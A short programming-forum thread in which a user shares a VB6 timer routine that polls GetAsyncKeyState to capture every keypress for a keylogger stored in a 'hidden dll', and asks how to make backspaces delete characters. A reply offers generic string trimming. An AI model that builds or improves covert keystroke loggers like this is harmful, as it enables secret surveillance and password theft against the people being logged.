Results 1 to 3 of 3

Thread: Help on keylogger...

  1. #1

    Thread Starter
    Lively Member
    Join Date
    Jun 2002
    Posts
    70

    Question Help on keylogger...

    Hey! I am making a keylogger: All the buttons the user press, is stored in a hidden dll:

    ____________________________________________________

    Private Sub tmrLOG_Timer()
    On Error Resume Next
    Dim nKey, nChar As Integer
    Dim nText As String
    For nChar = 1 To 255
    nKey = GetAsyncKeyState(nChar)
    If nKey = -32767 Then
    nText = Chr(nChar)

    If nChar = VK_ESCAPE Then
    nText = " {ESC} "
    ElseIf nChar = VK_SPACE Then
    nText = " "
    ElseIf nChar = VK_BACK Then
    nText =" {B.S} "
    ____________________________________________________

    ...and the list of keys goes on. What I want to do here is that instead of a file which looks like this:

    "Hittin {B.S} g the wr{B.S} ong button hap{B.S} pens too often"

    ...I want it like this:

    "Hitting the wrong button happens too often"

    -So how do I make the program remove the key which was pressed by mistake, instead of putting {B.S} over it?

    -Any suggestions?

  2. #2
    The picture isn't missing BuggyProgrammer's Avatar
    Join Date
    Oct 2000
    Location
    Vancouver, Canada
    Posts
    5,217
    well you sentence example, if you replace BS with an actual backspace, will look wrong, but to remove the last char in a string:

    thestring = "Hello one to three"
    thestring = left(thestring,len(thestring)-1)
    msgbox thestring
    Remember, if someone's post was not helpful, you can always rate their post negatively .

  3. #3

    Thread Starter
    Lively Member
    Join Date
    Jun 2002
    Posts
    70
    -Okay, I get it! Thank you!

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width